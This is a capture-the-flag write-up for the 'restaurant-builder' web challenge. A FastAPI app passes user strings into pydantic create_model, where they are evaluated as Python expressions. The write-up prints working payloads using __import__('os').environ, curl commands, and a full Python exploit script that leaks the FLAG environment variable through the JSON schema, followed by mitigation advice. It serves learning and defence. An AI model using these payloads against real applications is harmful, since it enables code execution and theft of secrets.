restaurant-builder
restaurant-builder
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_expression_evaluation, environment_variable_exfiltration, forward_reference_eval_rce, pydantic_create_model_eval, typing_literal_const_schema_exfil
Summary
Walkthrough of the CUSTOM Web restaurant-builder. Task: FastAPI app passes a user-controlled Dict[str,str] into pydantic create_model; in pydantic v2 string field values are evaluated as forward-reference type annotations, giving arbitrary expression
title: "restaurant-builder" id: 20240531_kitctf_restaurant_builder category: web difficulty: medium event: kitctf tags: ["rce", "fastapi", "python", "eval", "pydantic", "create_model", "forward_reference", "type_annotation_injection", "json_schema_leak", "typing_literal"] techniques: ["arbitrary_expression_evaluation", "environment_variable_exfiltration", "forward_reference_eval_rce", "pydantic_create_model_eval", "typing_literal_const_schema_exfil"] tools: ["python3", "curl"] indicators: ["pydantic create_model called with user-controlled Dict[str", "str]", "string field values in pydantic v2 treated as forward-reference type annotations", "only dict keys are filtered (startswith __)", "values unrestricted", "GET endpoint returns blueprint.model_json_schema()", "SyntaxError: Forward reference must be an expression"]
restaurant-builder — KITCTF / GPN24 CTF (2024)
Description
So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.
A small FastAPI application lets you register "blueprints" (dynamic pydantic models) and then "items" validated against those blueprints. The flag is provided to the server via the FLAG environment variable. The goal is to leak it through the blueprint API.
Analysis
The entire app is 43 lines. The interesting endpoint is register_blueprint:
python read-only • copy allowed@app.post("/blueprint/{name}") def register_blueprint(name: str, description: Dict[str,str] = Body()): if name in blueprints: raise HTTPException(status_code=409, detail="...") description = {k: v for k,v in description.items() if not k.startswith("__")} Blueprint = create_model(name, **description) blueprints[name] = Blueprint return "Blueprint successfully registered"
create_model(name, **description) is called with a fully user-controlled Dict[str, str].
In pydantic v2, create_model(name, field=value) interprets each field=value
pair as a field definition. When the value is a bare string, pydantic treats it
as a type annotation expressed as a forward reference. Resolving a forward
reference ends in Python's eval():
pydantic._internal._typing_extra.try_eval_type
-> eval_type_backport
-> typing._eval_type
-> annotationlib ForwardRef.evaluate
-> eval(code, globals, locals)
So every field value is evaluated as an arbitrary Python expression at blueprint registration time. This is an arbitrary-expression-evaluation / RCE primitive.
The only filter applied is not k.startswith("__"), which filters the dict
keys (the field names) — not the values. The expression strings are
completely unrestricted, so __import__, attribute access, subscripting, etc.
are all available inside them.
Confirmation (local): sending a value of
__import__("os").environ["FLAG"] raised
SyntaxError: Forward reference must be an expression -- got 'GPNCTF{test}'.
The expression was evaluated first to the flag string, and only then did
pydantic try (and fail) to parse the result as a type annotation — proving the
eval primitive fires before any type validation.
Solution
The error above shows we have eval, but a raw string is not a valid type, so the
model never registers and we cannot read it back. We need the evaluated
expression to resolve to a valid type that also embeds the flag, so it
survives registration and shows up in the schema returned by
GET /blueprint/{name} (which calls blueprint.model_json_schema()).
typing.Literal[<value>] is perfect: it is a valid type, and pydantic renders a
Literal into JSON schema as a const. So we build:
__import__("typing").Literal[__import__("os").environ["FLAG"]]
which evaluates to Literal["GPNCTF{...}"]. The flag ends up in the schema's
const key.
Exploitation steps
- POST a blueprint with a fresh random name whose single field value is the payload expression. (Names can only be registered once — reuse returns 409 — so always pick a new name.)
- GET the same blueprint to retrieve its JSON schema, which now contains the
flag in the
constfield.
bash read-only • copy allowedBASE="https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de" # 1) Register the malicious blueprint curl -s -X POST "$BASE/blueprint/pwnX" \ -H "Content-Type: application/json" \ -d '{"flag": "__import__(\"typing\").Literal[__import__(\"os\").environ[\"FLAG\"]]"}' # 2) Read back the schema -> flag is in the const curl -s "$BASE/blueprint/pwnX"
Full reproducible exploit
python read-only • copy allowed#!/usr/bin/env python3 import secrets import requests BASE = "https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de" # Payload: evaluated as a Python expression by pydantic's forward-reference eval. # Resolves to Literal["<flag>"], a valid type, rendered as `const` in JSON schema. payload = { "flag": '__import__("typing").Literal[__import__("os").environ["FLAG"]]' } name = "pwn_" + secrets.token_hex(4) # blueprint names are single-use (409 on reuse) r = requests.post(f"{BASE}/blueprint/{name}", json=payload) print("register:", r.status_code, r.text) schema = requests.get(f"{BASE}/blueprint/{name}").json() flag = schema["properties"]["flag"]["const"] print("FLAG:", flag)
Server response (live instance)
json read-only • copy allowed{"properties":{"flag":{"const":"GPNCTF{REDACTED}","title":"Flag","type":"string"},"required":["flag"],"title":"pwnX","type":"object"}
The flag text ("...one or two RCES later they built happily ever after")
confirms the intended bug is arbitrary expression evaluation (RCE) via
create_model with string field types. The Literal[] -> const schema leak is
just the cleanest exfiltration; a general RCE (running commands, embedding any
type that surfaces the value) is equally possible.
Mitigation
- Never pass untrusted strings as pydantic field type annotations.
create_modelfield values given as strings are evaluated as type expressions (forward references ->eval). - Use explicit
(type, default)tuples with a fixed allowlist of permitted types, or validate/whitelist allowed type names before building the model. - Treat any "dynamic schema from user input" feature as a code-execution sink.
Key Takeaways / Lessons
- Mastering arbitrary_expression_evaluation, environment_variable_exfiltration, forward_reference_eval_rce, pydantic_create_model_eval, typing_literal_const_schema_exfil was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2024-05-31 • CUSTOM • restaurant-builder • Difficulty: Medium